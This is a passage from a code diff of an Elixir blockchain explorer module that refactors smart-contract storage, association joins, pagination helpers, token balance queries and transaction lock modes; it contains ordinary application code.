new_contract = %SmartContract{} - - attrs = - attrs - |> Helper.add_contract_code_md5() - - smart_contract_changeset = - new_contract - |> SmartContract.changeset(attrs) - |> Changeset.put_change(:external_libraries, external_libraries) - - new_contract_additional_source = %SmartContractAdditionalSource{} - - smart_contract_additional_sources_changesets = - if secondary_sources do - secondary_sources - |> Enum.map(fn changeset -> - new_contract_additional_source - |> SmartContractAdditionalSource.changeset(changeset) - end) - else - [] - end + defp process_page_number(number) when number < 1, do: 1 - address_hash = Changeset.get_field(smart_contract_changeset, :address_hash) + defp process_page_number(number), do: number - # Enforce ShareLocks tables order (see docs: sharelocks.md) - insert_contract_query = - Multi.new() - |> Multi.run(:set_address_verified, fn repo, _ -> set_address_verified(repo, address_hash) end) - |> Multi.run(:clear_primary_address_names, fn repo, _ -> clear_primary_address_names(repo, address_hash) end) - |> Multi.insert(:smart_contract, smart_contract_changeset) + defp page_in_bounds?(page_number, page_size), + do: page_size <= @limit_showing_transactions && @limit_showing_transactions - page_number * page_size >= 0 - insert_contract_query_with_additional_sources = - smart_contract_additional_sources_changesets - |> Enum.with_index() - |> Enum.reduce(insert_contract_query, fn {changeset, index}, multi -> - Multi.insert(multi, "smart_contract_additional_source_#{Integer.to_string(index)}", changeset) - end) + def limit_showing_transactions, do: @limit_showing_transactions - insert_result = - insert_contract_query_with_additional_sources - |> Repo.transaction() + @doc """ + Dynamically joins and preloads associations in a query based on necessity. - create_address_name(Repo, Changeset.get_field(smart_contract_changeset, :name), address_hash) + This function adjusts the provided Ecto query to include joins for associations. It supports + both optional and required joins. Optional joins use the `preload` function to fetch associations + without enforcing their presence. Required joins ensure the association exists. - case insert_result do - {:ok, %{smart_contract: smart_contract}} -> - {:ok, smart_contract} + ## Parameters + - `query`: The initial Ecto query. + - `associations`: A single association or a tuple with nested association preloads. + - `necessity`: Specifies if the association is `:optional` or `:required`. - {:error, :smart_contract, changeset, _} -> - {:error, changeset} + ## Returns + - The modified query with the specified associations joined according to the defined necessity. + """ + @spec join_association(atom() | Ecto.Query.t(), [{atom(), atom()}], :optional | :required) :: Ecto.Query.t() + def join_association(query, [{association, nested_preload}], necessity) + when is_atom(association) and is_atom(nested_preload) do + case necessity do + :optional -> + preload(query, [{^association, ^nested_preload}]) - {:error, :set_address_verified, message, _} -> - {:error, message} + :required -> + from(q in query, + inner_join: a in assoc(q, ^association), + as: ^association, + left_join: b in assoc(a, ^nested_preload), + as: ^nested_preload, + preload: [{^association, {a, [{^nested_preload, b}]}}] + ) end end - @doc """ - Updates a `t:SmartContract.t/0`. - - Has the similar logic as create_smart_contract/1. - Used in cases when you need to update row in DB contains SmartContract, e.g. in case of changing - status `partially verified` to `fully verified` (re-verify). - """ - @spec update_smart_contract(map()) :: {:ok, SmartContract.t()} | {:error, Ecto.Changeset.t()} - def update_smart_contract(attrs \\ %{}, external_libraries \\ [], secondary_sources \\ []) do - address_hash = Map.get(attrs, :address_hash) - - query = - from( - smart_contract in SmartContract, - where: smart_contract.address_hash == ^address_hash - ) - - query_sources = - from( - source in SmartContractAdditionalSource, - where: source.address_hash == ^address_hash - ) - - _delete_sources = Repo.delete_all(query_sources) - - smart_contract = Repo.one(query) - - smart_contract_changeset = - smart_contract - |> SmartContract.changeset(attrs) - |> Changeset.put_change(:external_libraries, external_libraries) - - new_contract_additional_source = %SmartContractAdditionalSource{} - - smart_contract_additional_sources_changesets = - if secondary_sources do - secondary_sources - |> Enum.map(fn changeset -> - new_contract_additional_source - |> SmartContractAdditionalSource.changeset(changeset) - end) - else - [] - end + @spec join_association(atom() | Ecto.Query.t(), atom(), :optional | :required) :: Ecto.Query.t() + def join_association(query, association, necessity) do + case necessity do + :optional -> + preload(query, ^association) - # Enforce ShareLocks tables order (see docs: sharelocks.md) - insert_contract_query = - Multi.new() - |> Multi.update(:smart_contract, smart_contract_changeset) + :required -> + from(q in query, inner_join: a in assoc(q, ^association), as: ^association, preload: [{^association, a}]) + end + end - insert_contract_query_with_additional_sources = - smart_contract_additional_sources_changesets - |> Enum.with_index() - |> Enum.reduce(insert_contract_query, fn {changeset, index}, multi -> - Multi.insert(multi, "smart_contract_additional_source_#{Integer.to_string(index)}", changeset) - end) + @doc """ + Applies dynamic joins to a query based on provided association necessities. - insert_result = - insert_contract_query_with_additional_sources - |> Repo.transaction() + This function iterates over a map of associations with their required join types, either + `:optional` or `:required`, and applies the corresponding joins to the given query. - case insert_result do - {:ok, %{smart_contract: smart_contract}} -> - {:ok, smart_contract} + More info is available on https://hexdocs.pm/ecto/Ecto.Query.html#preload/3 - {:error, :smart_contract, changeset, _} -> - {:error, changeset} + ## Parameters + - `query`: The base query to which associations will be joined. + - `necessity_by_association`: A map specifying each association and its necessity + (`:optional` or `:required`). - {:error, :set_address_verified, message, _} -> - {:error, message} - end + ## Returns + - The query with all specified associations joined according to their necessity. + """ + @spec join_associations(atom() | Ecto.Query.t(), %{any() => :optional | :required}) :: Ecto.Query.t() + def join_associations(query, necessity_by_association) when is_map(necessity_by_association) do + Enum.reduce(necessity_by_association, query, fn {association, join}, acc_query -> + join_association(acc_query, association, join) + end) end - defp set_address_verified(repo, address_hash) do - query = - from( - address in Address, - where: address.hash == ^address_hash - ) + defp page_blocks(query, %PagingOptions{key: nil}), do: query - case repo.update_all(query, set: [verified: true]) do - {1, _} -> {:ok, []} - _ -> {:error, "There was an error annotating that the address has been verified."} - end + defp page_blocks(query, %PagingOptions{key: {block_number}}) do + where(query, [block], block.number < ^block_number) end - defp set_address_decompiled(repo, address_hash) do - query = - from( - address in Address, - where: address.hash == ^address_hash - ) + defp page_logs(query, %PagingOptions{key: nil}), do: query - case repo.update_all(query, set: [decompiled: true]) do - {1, _} -> {:ok, []} - _ -> {:error, "There was an error annotating that the address has been decompiled."} - end + defp page_logs(query, %PagingOptions{key: {index}}) do + where(query, [log], log.index > ^index) end - defp clear_primary_address_names(repo, address_hash) do - query = - from( - address_name in Address.Name, - where: address_name.address_hash == ^address_hash, - # Enforce Name ShareLocks order (see docs: sharelocks.md) - order_by: [asc: :address_hash, asc: :name], - lock: "FOR UPDATE" - ) - - repo.update_all( - from(n in Address.Name, join: s in subquery(query), on: n.address_hash == s.address_hash and n.name == s.name), - set: [primary: false] + defp page_logs(query, %PagingOptions{key: {0, log_index}}) do + where( + query, + [log], + log.block_number == 0 and log.index < ^log_index ) - - {:ok, []} end - defp create_address_name(repo, name, address_hash) do - params = %{ - address_hash: address_hash, - name: name, - primary: true - } - - %Address.Name{} - |> Address.Name.changeset(params) - |> repo.insert(on_conflict: :nothing, conflict_target: [:address_hash, :name]) + defp page_logs(query, %PagingOptions{key: {block_number, 0}}) do + where( + query, + [log], + log.block_number < ^block_number + ) end - @doc """ - Finds metadata for verification of a contract from verified twins: contracts with the same bytecode - which were verified previously, returns a single t:SmartContract.t/0 - """ - def get_address_verified_twin_contract(hash) when is_binary(hash) do - case string_to_address_hash(hash) do - {:ok, address_hash} -> get_address_verified_twin_contract(address_hash) - _ -> %{:verified_contract => nil, :additional_sources => nil} - end + defp page_logs(query, %PagingOptions{key: {block_number, log_index}}) do + where( + query, + [log], + log.block_number < ^block_number or (log.block_number == ^block_number and log.index < ^log_index) + ) end - def get_address_verified_twin_contract(%Explorer.Chain.Hash{} = address_hash) do - with target_address <- Repo.get(Address, address_hash), - false <- is_nil(target_address), - %{contract_code: %Chain.Data{bytes: contract_code_bytes}} <- target_address do - target_address_hash = target_address.hash + defp page_transaction_logs(query, %PagingOptions{key: nil}), do: query - contract_code_md5 = Helper.contract_code_md5(contract_code_bytes) - - verified_contract_twin_query = - from( - smart_contract in SmartContract, - where: smart_contract.contract_code_md5 == ^contract_code_md5, - where: smart_contract.address_hash != ^target_address_hash, - select: smart_contract, - limit: 1 - ) - - verified_contract_twin = - verified_contract_twin_query - |> Repo.one(timeout: 10_000) - - verified_contract_twin_additional_sources = get_contract_additional_sources(verified_contract_twin) - - %{ - :verified_contract => verified_contract_twin, - :additional_sources => verified_contract_twin_additional_sources - } - else - _ -> - %{:verified_contract => nil, :additional_sources => nil} - end + defp page_transaction_logs(query, %PagingOptions{key: {index}}) do + where(query, [log], log.index > ^index) end - def get_minimal_proxy_template(address_hash) do - minimal_proxy_template = - case Repo.get(Address, address_hash) do - nil -> - nil + defp page_transaction_logs(query, %PagingOptions{key: {_block_number, index}}) do + where(query, [log], log.index > ^index) + end - target_address -> - contract_code = target_address.contract_code + defp page_block_transactions(query, %PagingOptions{key: nil}), do: query - case contract_code do - %Chain.Data{bytes: contract_code_bytes} -> - contract_bytecode = Base.encode16(contract_code_bytes, case: :lower) + defp page_block_transactions(query, %PagingOptions{key: {_block_number, index}, is_index_in_asc_order: true}) do + where(query, [transaction], transaction.index > ^index) + end - get_minimal_proxy_from_template_code(contract_bytecode) + defp page_block_transactions(query, %PagingOptions{key: {_block_number, index}}) do + where(query, [transaction], transaction.index < ^index) + end - _ -> - nil - end - end + def page_token_balances(query, %PagingOptions{key: nil}), do: query - minimal_proxy_template + def page_token_balances(query, %PagingOptions{key: {value, address_hash}}) do + where( + query, + [tb], + tb.value < ^value or (tb.value == ^value and tb.address_hash < ^address_hash) + ) end - defp get_minimal_proxy_from_template_code(contract_bytecode) do - case contract_bytecode do - "363d3d373d3d3d363d73" <> <> <> _ -> - template_address = "0x" <> template_address + def page_current_token_balances(query, keyword) when is_list(keyword), + do: page_current_token_balances(query, Keyword.get(keyword, :paging_options)) - query = - from( - smart_contract in SmartContract, - where: smart_contract.address_hash == ^template_address, - select: smart_contract - ) + def page_current_token_balances(query, %PagingOptions{key: nil}), do: query - template = - query - |> Repo.one(timeout: 10_000) + def page_current_token_balances(query, %PagingOptions{key: {nil, value, id}}) do + fiat_balance = CurrentTokenBalance.fiat_value_query() - template + condition = + dynamic( + [ctb, t], + is_nil(^fiat_balance) and + (ctb.value < ^value or + (ctb.value == ^value and ctb.id < ^id)) + ) - _ -> - nil - end + where( + query, + [ctb, t], + ^condition + ) end - defp get_contract_additional_sources(verified_contract_twin) do - if verified_contract_twin do - verified_contract_twin_additional_sources_query = - from( - s in SmartContractAdditionalSource, - where: s.address_hash == ^verified_contract_twin.address_hash - ) - - verified_contract_twin_additional_sources_query - |> Repo.all() - else - [] - end - end + def page_current_token_balances(query, %PagingOptions{key: {fiat_value, value, id}}) do + fiat_balance = CurrentTokenBalance.fiat_value_query() - @spec address_hash_to_smart_contract(Hash.Address.t()) :: SmartContract.t() | nil - def address_hash_to_smart_contract(address_hash) do - query = - from( - smart_contract in SmartContract, - where: smart_contract.address_hash == ^address_hash + condition = + dynamic( + [ctb, t], + ^fiat_balance < ^fiat_value or is_nil(^fiat_balance) or + (^fiat_balance == ^fiat_value and + (ctb.value < ^value or + (ctb.value == ^value and ctb.id < ^id))) ) - current_smart_contract = Repo.one(query) - - if current_smart_contract do - current_smart_contract - else - address_verified_twin_contract = - Chain.get_minimal_proxy_template(address_hash) || - Chain.get_address_verified_twin_contract(address_hash).verified_contract - - if address_verified_twin_contract do - Map.put(address_verified_twin_contract, :address_hash, address_hash) - else - current_smart_contract - end - end + where( + query, + [ctb, t], + ^condition + ) end - def smart_contract_fully_verified?(address_hash_str) when is_binary(address_hash_str) do - case string_to_address_hash(address_hash_str) do - {:ok, address_hash} -> - check_fully_verified(address_hash) + @doc """ + The current total number of coins minted minus verifiably burnt coins. + """ + @spec total_supply :: non_neg_integer() | nil + def total_supply do + supply_module().total() || 0 + end - _ -> - false - end + @doc """ + The current number coins in the market for trading. + """ + @spec circulating_supply :: non_neg_integer() | nil + def circulating_supply do + supply_module().circulating() end - def smart_contract_fully_verified?(address_hash) do - check_fully_verified(address_hash) + defp supply_module do + Application.get_env(:explorer, :supply, Explorer.Chain.Supply.ExchangeRate) end - defp check_fully_verified(address_hash) do + @doc """ + Calls supply_for_days from the configured supply_module + """ + def supply_for_days, do: supply_module().supply_for_days(MarketHistoryCache.recent_days_count()) + + @doc """ + Streams a lists token contract addresses that haven't been cataloged. + """ + @spec stream_uncataloged_token_contract_address_hashes( + initial :: accumulator, + reducer :: (entry :: Hash.Address.t(), accumulator -> accumulator), + limited? :: boolean() + ) :: {:ok, accumulator} + when accumulator: term() + def stream_uncataloged_token_contract_address_hashes(initial, reducer, limited? \\ false) + when is_function(reducer, 2) do query = from( - smart_contract in SmartContract, - where: smart_contract.address_hash == ^address_hash + token in Token, + where: token.cataloged == false or is_nil(token.cataloged), + where: is_nil(token.skip_metadata) or token.skip_metadata == false, + select: token.contract_address_hash ) - result = Repo.one(query) - - if result, do: !result.partially_verified, else: false + query + |> add_fetcher_limit(limited?) + |> Repo.stream_reduce(initial, reducer) end - def smart_contract_verified?(address_hash_str) when is_binary(address_hash_str) do - case string_to_address_hash(address_hash_str) do - {:ok, address_hash} -> - check_verified(address_hash) + @doc """ + Fetches a `t:Token.t/0` by an address hash. - _ -> - false - end - end + ## Options - def smart_contract_verified?(address_hash) do - check_verified(address_hash) - end + * `:necessity_by_association` - use to load `t:association/0` as `:required` or `:optional`. If an association is + `:required`, and the `t:Token.t/0` has no associated record for that association, + then the `t:Token.t/0` will not be included in the list. + """ + @spec token_from_address_hash(Hash.Address.t() | String.t(), [necessity_by_association_option | api?]) :: + {:ok, Token.t()} | {:error, :not_found} + def token_from_address_hash(hash, options \\ []) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) - defp check_verified(address_hash) do query = from( - smart_contract in SmartContract, - where: smart_contract.address_hash == ^address_hash + t in Token, + where: t.contract_address_hash == ^hash ) - if Repo.one(query), do: true, else: false - end + query + |> join_associations(necessity_by_association) + |> preload(:contract_address) + |> select_repo(options).one() + |> case do + nil -> + {:error, :not_found} - defp fetch_transactions(paging_options \\ nil, from_block \\ nil, to_block \\ nil) do - Transaction - |> order_by([transaction], desc: transaction.block_number, desc: transaction.index) - |> where_block_number_in_period(from_block, to_block) - |> handle_paging_options(paging_options) + %Token{} = token -> + {:ok, token} + end end - defp fetch_transactions_in_ascending_order_by_index(paging_options) do - Transaction - |> order_by([transaction], desc: transaction.block_number, asc: transaction.index) - |> handle_paging_options(paging_options) + @spec fetch_token_transfers_from_token_hash(Hash.t(), [paging_options]) :: [] + def fetch_token_transfers_from_token_hash(token_address_hash, options \\ []) do + TokenTransfer.fetch_token_transfers_from_token_hash(token_address_hash, options) end - defp for_parent_transaction(query, %Hash{byte_count: unquote(Hash.Full.byte_count())} = hash) do - from( - child in query, - inner_join: transaction in assoc(child, :transaction), - where: transaction.hash == ^hash - ) + @spec fetch_token_transfers_from_token_hash_and_token_id(Hash.t(), non_neg_integer(), [paging_options]) :: [] + def fetch_token_transfers_from_token_hash_and_token_id(token_address_hash, token_id, options \\ []) do + TokenTransfer.fetch_token_transfers_from_token_hash_and_token_id(token_address_hash, token_id, options) end - defp handle_paging_options(query, nil), do: query - - defp handle_paging_options(query, paging_options) do - query - |> page_transaction(paging_options) - |> limit(^paging_options.page_size) + @spec count_token_transfers_from_token_hash(Hash.t()) :: non_neg_integer() + def count_token_transfers_from_token_hash(token_address_hash) do + TokenTransfer.count_token_transfers_from_token_hash(token_address_hash) end - defp handle_token_transfer_paging_options(query, nil), do: query - - defp handle_token_transfer_paging_options(query, paging_options) do - query - |> TokenTransfer.page_token_transfer(paging_options) - |> limit(^paging_options.page_size) + @spec count_token_transfers_from_token_hash_and_token_id(Hash.t(), non_neg_integer(), [api?]) :: non_neg_integer() + def count_token_transfers_from_token_hash_and_token_id(token_address_hash, token_id, options \\ []) do + TokenTransfer.count_token_transfers_from_token_hash_and_token_id(token_address_hash, token_id, options) end - defp handle_random_access_paging_options(query, empty_options) when empty_options in [nil, [], %{}], - do: limit(query, ^(@default_page_size + 1)) + @spec transaction_has_token_transfers?(Hash.t()) :: boolean() + def transaction_has_token_transfers?(transaction_hash) do + query = from(tt in TokenTransfer, where: tt.transaction_hash == ^transaction_hash) - defp handle_random_access_paging_options(query, paging_options) do - query - |> (&if(paging_options |> Map.get(:page_number, 1) |> proccess_page_number() == 1, - do: &1, - else: page_transaction(&1, paging_options) - )).() - |> handle_page(paging_options) - end - - defp handle_page(query, paging_options) do - page_number = paging_options |> Map.get(:page_number, 1) |> proccess_page_number() - page_size = Map.get(paging_options, :page_size, @default_page_size) - - cond do - page_in_bounds?(page_number, page_size) && page_number == 1 -> - query - |> limit(^(page_size + 1)) - - page_in_bounds?(page_number, page_size) -> - query - |> limit(^page_size) - |> offset(^((page_number - 2) * page_size)) - - true -> - query - |> limit(^(@default_page_size + 1)) - end - end - - defp proccess_page_number(number) when number < 1, do: 1 - - defp proccess_page_number(number), do: number - - defp page_in_bounds?(page_number, page_size), - do: page_size <= @limit_showing_transactions && @limit_showing_transactions - page_number * page_size >= 0 - - def limit_showing_transactions, do: @limit_showing_transactions - - defp join_association(query, [{association, nested_preload}], necessity) - when is_atom(association) and is_atom(nested_preload) do - case necessity do - :optional -> - preload(query, [{^association, ^nested_preload}]) - - :required -> - from(q in query, - inner_join: a in assoc(q, ^association), - left_join: b in assoc(a, ^nested_preload), - preload: [{^association, {a, [{^nested_preload, b}]}}] - ) - end - end - - defp join_association(query, association, necessity) when is_atom(association) do - case necessity do - :optional -> - preload(query, ^association) - - :required -> - from(q in query, inner_join: a in assoc(q, ^association), preload: [{^association, a}]) - end - end - - defp join_associations(query, necessity_by_association) when is_map(necessity_by_association) do - Enum.reduce(necessity_by_association, query, fn {association, join}, acc_query -> - join_association(acc_query, association, join) - end) - end - - defp page_addresses(query, %PagingOptions{key: nil}), do: query - - defp page_addresses(query, %PagingOptions{key: {coin_balance, hash}}) do - from(address in query, - where: - (address.fetched_coin_balance == ^coin_balance and address.hash > ^hash) or - address.fetched_coin_balance < ^coin_balance - ) - end - - defp page_tokens(query, %PagingOptions{key: nil}), do: query - - defp page_tokens(query, %PagingOptions{key: {holder_count, token_name}}) do - from(token in query, - where: - (token.holder_count == ^holder_count and token.name > ^token_name) or - token.holder_count < ^holder_count - ) - end - - defp page_blocks(query, %PagingOptions{key: nil}), do: query - - defp page_blocks(query, %PagingOptions{key: {block_number}}) do - where(query, [block], block.number < ^block_number) - end - - defp page_coin_balances(query, %PagingOptions{key: nil}), do: query - - defp page_coin_balances(query, %PagingOptions{key: {block_number}}) do - where(query, [coin_balance], coin_balance.block_number < ^block_number) - end - - defp page_internal_transaction(_, _, _ \\ %{index_int_tx_desc_order: false}) - - defp page_internal_transaction(query, %PagingOptions{key: nil}, _), do: query - - defp page_internal_transaction(query, %PagingOptions{key: {block_number, transaction_index, index}}, %{ - index_int_tx_desc_order: desc - }) do - hardcoded_where_for_page_int_tx(query, block_number, transaction_index, index, desc) - end - - defp page_internal_transaction(query, %PagingOptions{key: {index}}, %{index_int_tx_desc_order: desc}) do - if desc do - where(query, [internal_transaction], internal_transaction.index < ^index) - else - where(query, [internal_transaction], internal_transaction.index > ^index) - end - end - - defp hardcoded_where_for_page_int_tx(query, block_number, transaction_index, index, false), - do: - where( - query, - [internal_transaction], - internal_transaction.block_number < ^block_number or - (internal_transaction.block_number == ^block_number and - internal_transaction.transaction_index < ^transaction_index) or - (internal_transaction.block_number == ^block_number and - internal_transaction.transaction_index == ^transaction_index and internal_transaction.index > ^index) - ) - - defp hardcoded_where_for_page_int_tx(query, block_number, transaction_index, index, true), - do: - where( - query, - [internal_transaction], - internal_transaction.block_number < ^block_number or - (internal_transaction.block_number == ^block_number and - internal_transaction.transaction_index < ^transaction_index) or - (internal_transaction.block_number == ^block_number and - internal_transaction.transaction_index == ^transaction_index and internal_transaction.index < ^index) - ) - - defp page_logs(query, %PagingOptions{key: nil}), do: query - - defp page_logs(query, %PagingOptions{key: {index}}) do - where(query, [log], log.index > ^index) - end - - defp page_pending_transaction(query, %PagingOptions{key: nil}), do: query - - defp page_pending_transaction(query, %PagingOptions{key: {inserted_at, hash}}) do - where( - query, - [transaction], - transaction.inserted_at < ^inserted_at or (transaction.inserted_at == ^inserted_at and transaction.hash < ^hash) - ) - end - - defp page_transaction(query, %PagingOptions{key: nil}), do: query - - defp page_transaction(query, %PagingOptions{is_pending_tx: true} = options), - do: page_pending_transaction(query, options) - - defp page_transaction(query, %PagingOptions{key: {block_number, index}, is_index_in_asc_order: true}) do - where( - query, - [transaction], - transaction.block_number < ^block_number or - (transaction.block_number == ^block_number and transaction.index > ^index) - ) - end - - defp page_transaction(query, %PagingOptions{key: {block_number, index}}) do - where( - query, - [transaction], - transaction.block_number < ^block_number or - (transaction.block_number == ^block_number and transaction.index < ^index) - ) - end - - defp page_transaction(query, %PagingOptions{key: {index}}) do - where(query, [transaction], transaction.index < ^index) - end - - defp page_search_results(query, %PagingOptions{key: nil}), do: query - - # credo:disable-for-next-line - defp page_search_results(query, %PagingOptions{ - key: {_address_hash, _tx_hash, _block_hash, holder_count, name, inserted_at, item_type} - }) do - where( - query, - [item], - (item.holder_count < ^holder_count and item.type == ^item_type) or - (item.holder_count == ^holder_count and item.name > ^name and item.type == ^item_type) or - (item.holder_count == ^holder_count and item.name == ^name and item.inserted_at < ^inserted_at and - item.type == ^item_type) or - item.type != ^item_type - ) - end - - def page_token_balances(query, %PagingOptions{key: nil}), do: query - - def page_token_balances(query, %PagingOptions{key: {value, address_hash}}) do - where( - query, - [tb], - tb.value < ^value or (tb.value == ^value and tb.address_hash < ^address_hash) - ) - end - - def page_current_token_balances(query, %PagingOptions{key: nil}), do: query - - def page_current_token_balances(query, paging_options: %PagingOptions{key: nil}), do: query - - def page_current_token_balances(query, paging_options: %PagingOptions{key: {name, type, value}}) do - where( - query, - [ctb, t], - ctb.value < ^value or (ctb.value == ^value and t.type < ^type) or - (ctb.value == ^value and t.type == ^type and t.name < ^name) - ) - end - - @doc """ - Ensures the following conditions are true: - - * excludes internal transactions of type call with no siblings in the - transaction - * includes internal transactions of type create, reward, or selfdestruct - even when they are alone in the parent transaction - - """ - @spec where_transaction_has_multiple_internal_transactions(Ecto.Query.t()) :: Ecto.Query.t() - def where_transaction_has_multiple_internal_transactions(query) do - where( - query, - [internal_transaction, transaction], - internal_transaction.type != ^:call or - fragment( - """ - EXISTS (SELECT sibling.* - FROM internal_transactions AS sibling - WHERE sibling.transaction_hash = ? AND sibling.index != ? - ) - """, - transaction.hash, - internal_transaction.index - ) - ) - end - - @doc """ - The current total number of coins minted minus verifiably burned coins. - """ - @spec total_supply :: non_neg_integer() | nil - def total_supply do - supply_module().total() || 0 - end - - @doc """ - The current number coins in the market for trading. - """ - @spec circulating_supply :: non_neg_integer() | nil - def circulating_supply do - supply_module().circulating() - end - - defp supply_module do - Application.get_env(:explorer, :supply, Explorer.Chain.Supply.ExchangeRate) - end - - @doc """ - Calls supply_for_days from the configured supply_module - """ - def supply_for_days, do: supply_module().supply_for_days(MarketHistoryCache.recent_days_count()) - - @doc """ - Streams a lists token contract addresses that haven't been cataloged. - """ - @spec stream_uncataloged_token_contract_address_hashes( - initial :: accumulator, - reducer :: (entry :: Hash.Address.t(), accumulator -> accumulator) - ) :: {:ok, accumulator} - when accumulator: term() - def stream_uncataloged_token_contract_address_hashes(initial, reducer) when is_function(reducer, 2) do - query = - from( - token in Token, - where: token.cataloged == false, - select: token.contract_address_hash - ) - - Repo.stream_reduce(query, initial, reducer) - end - - @spec stream_unfetched_token_instances( - initial :: accumulator, - reducer :: (entry :: map(), accumulator -> accumulator) - ) :: {:ok, accumulator} - when accumulator: term() - def stream_unfetched_token_instances(initial, reducer) when is_function(reducer, 2) do - nft_tokens = - from( - token in Token, - where: token.type == ^"ERC-721" or token.type == ^"ERC-1155", - select: token.contract_address_hash - ) - - query = - from( - token_transfer in TokenTransfer, - inner_join: token in subquery(nft_tokens), - on: token.contract_address_hash == token_transfer.token_contract_address_hash, - left_join: instance in Instance, - on: - token_transfer.token_id == instance.token_id and - token_transfer.token_contract_address_hash == instance.token_contract_address_hash, - where: is_nil(instance.token_id) and not is_nil(token_transfer.token_id), - select: %{contract_address_hash: token_transfer.token_contract_address_hash, token_id: token_transfer.token_id} - ) - - distinct_query = - from( - q in subquery(query), - distinct: [q.contract_address_hash, q.token_id] - ) - - Repo.stream_reduce(distinct_query, initial, reducer) - end - - @doc """ - Streams a list of token contract addresses that have been cataloged. - """ - @spec stream_cataloged_token_contract_address_hashes( - initial :: accumulator, - reducer :: (entry :: Hash.Address.t(), accumulator -> accumulator) - ) :: {:ok, accumulator} - when accumulator: term() - def stream_cataloged_token_contract_address_hashes(initial, reducer, some_time_ago_updated \\ 2880) - when is_function(reducer, 2) do - some_time_ago_updated - |> Token.cataloged_tokens() - |> order_by(asc: :updated_at) - |> Repo.stream_reduce(initial, reducer) - end - - @doc """ - Returns a list of block numbers token transfer `t:Log.t/0`s that don't have an - associated `t:TokenTransfer.t/0` record. - """ - def uncataloged_token_transfer_block_numbers do - query = - from(l in Log, - as: :log, - where: l.first_topic == unquote(TokenTransfer.constant()), - where: - not exists( - from(tf in TokenTransfer, - where: tf.transaction_hash == parent_as(:log).transaction_hash, - where: tf.log_index == parent_as(:log).index - ) - ), - select: l.block_number, - distinct: l.block_number - ) - - Repo.stream_reduce(query, [], &[&1 | &2]) - end - - def decode_contract_address_hash_response(resp) do - case resp do - "0x000000000000000000000000" <> address -> - "0x" <> address - - _ -> - nil - end - end - - def decode_contract_integer_response(resp) do - case resp do - "0x" <> integer_encoded -> - {integer_value, _} = Integer.parse(integer_encoded, 16) - integer_value - - _ -> - nil - end - end - - @doc """ - Fetches a `t:Token.t/0` by an address hash. - - ## Options - - * `:necessity_by_association` - use to load `t:association/0` as `:required` or `:optional`. If an association is - `:required`, and the `t:Token.t/0` has no associated record for that association, - then the `t:Token.t/0` will not be included in the list. - """ - @spec token_from_address_hash(Hash.Address.t(), [necessity_by_association_option]) :: - {:ok, Token.t()} | {:error, :not_found} - def token_from_address_hash( - %Hash{byte_count: unquote(Hash.Address.byte_count())} = hash, - options \\ [] - ) do - necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) - - query = - from( - t in Token, - where: t.contract_address_hash == ^hash, - select: t - ) - - query - |> join_associations(necessity_by_association) - |> preload(:contract_address) - |> Repo.one() - |> case do - nil -> - {:error, :not_found} - - %Token{} = token -> - {:ok, token} - - [%Token{} = token, nil] -> - {:ok, token} - end - end - - @spec fetch_token_transfers_from_token_hash(Hash.t(), [paging_options]) :: [] - def fetch_token_transfers_from_token_hash(token_address_hash, options \\ []) do - TokenTransfer.fetch_token_transfers_from_token_hash(token_address_hash, options) - end - - @spec fetch_token_transfers_from_token_hash_and_token_id(Hash.t(), binary(), [paging_options]) :: [] - def fetch_token_transfers_from_token_hash_and_token_id(token_address_hash, token_id, options \\ []) do - TokenTransfer.fetch_token_transfers_from_token_hash_and_token_id(token_address_hash, token_id, options) - end - - @spec count_token_transfers_from_token_hash(Hash.t()) :: non_neg_integer() - def count_token_transfers_from_token_hash(token_address_hash) do - TokenTransfer.count_token_transfers_from_token_hash(token_address_hash) - end - - @spec count_token_transfers_from_token_hash_and_token_id(Hash.t(), binary()) :: non_neg_integer() - def count_token_transfers_from_token_hash_and_token_id(token_address_hash, token_id) do - TokenTransfer.count_token_transfers_from_token_hash_and_token_id(token_address_hash, token_id) - end - - @spec transaction_has_token_transfers?(Hash.t()) :: boolean() - def transaction_has_token_transfers?(transaction_hash) do - query = from(tt in TokenTransfer, where: tt.transaction_hash == ^transaction_hash) - - Repo.exists?(query) - end - - @spec address_has_rewards?(Address.t()) :: boolean() - def address_has_rewards?(address_hash) do - query = from(r in Reward, where: r.address_hash == ^address_hash) - - Repo.exists?(query) - end - - @spec address_tokens_with_balance(Hash.Address.t(), [any()]) :: [] - def address_tokens_with_balance(address_hash, paging_options \\ []) do - address_hash - |> Address.Token.list_address_tokens_with_balance(paging_options) - |> Repo.all() + Repo.exists?(query) end @spec find_and_update_replaced_transactions([ @@ -4733,7 +2987,7 @@ defmodule Explorer.Chain do ) # Enforce Transaction ShareLocks order (see docs: sharelocks.md) |> order_by(asc: :hash) - |> lock("FOR UPDATE") + |> lock("FOR NO KEY UPDATE") hashes = Enum.map(transactions, & &1.hash) @@ -4767,18 +3021,22 @@ defmodule Explorer.Chain do |> Enum.uniq() if Enum.empty?(filters) do - {:ok, []} + {0, []} else query = filters |> Enum.reduce(Transaction, fn {nonce, from_address}, query -> from(t in query, - or_where: t.nonce == ^nonce and t.from_address_hash == ^from_address and is_nil(t.block_hash) + or_where: + t.nonce == ^nonce and + t.from_address_hash == ^from_address and + is_nil(t.block_hash) and + (is_nil(t.error) or t.error != "dropped/replaced") ) end) # Enforce Transaction ShareLocks order (see docs: sharelocks.md) |> order_by(asc: :hash) - |> lock("FOR UPDATE") + |> lock("FOR NO KEY UPDATE") Repo.update_all( from(t in Transaction, join: s in subquery(query), on: t.hash == s.hash), @@ -4788,120 +3046,42 @@ defmodule Explorer.Chain do end end - @spec upsert_token_instance(map()) :: {:ok, Instance.t()} | {:error, Ecto.Changeset.t()} - def upsert_token_instance(params) do - changeset = Instance.changeset(%Instance{}, params) - - Repo.insert(changeset, - on_conflict: :replace_all, - conflict_target: [:token_id, :token_contract_address_hash] - ) + @spec fetch_last_token_balances_include_unfetched([Hash.Address.t()], [api?]) :: [] + def fetch_last_token_balances_include_unfetched(address_hashes, options \\ []) do + address_hashes + |> CurrentTokenBalance.last_token_balances_include_unfetched() + |> select_repo(options).all() end - @doc """ - Update a new `t:Token.t/0` record. - - As part of updating token, an additional record is inserted for - naming the address for reference if a name is provided for a token. - """ - @spec update_token(Token.t(), map()) :: {:ok, Token.t()} | {:error, Ecto.Changeset.t()} - def update_token(%Token{contract_address_hash: address_hash} = token, params \\ %{}) do - token_changeset = Token.changeset(token, params) - address_name_changeset = Address.Name.changeset(%Address.Name{}, Map.put(params, :address_hash, address_hash)) - - stale_error_field = :contract_address_hash - stale_error_message = "is up to date" - - 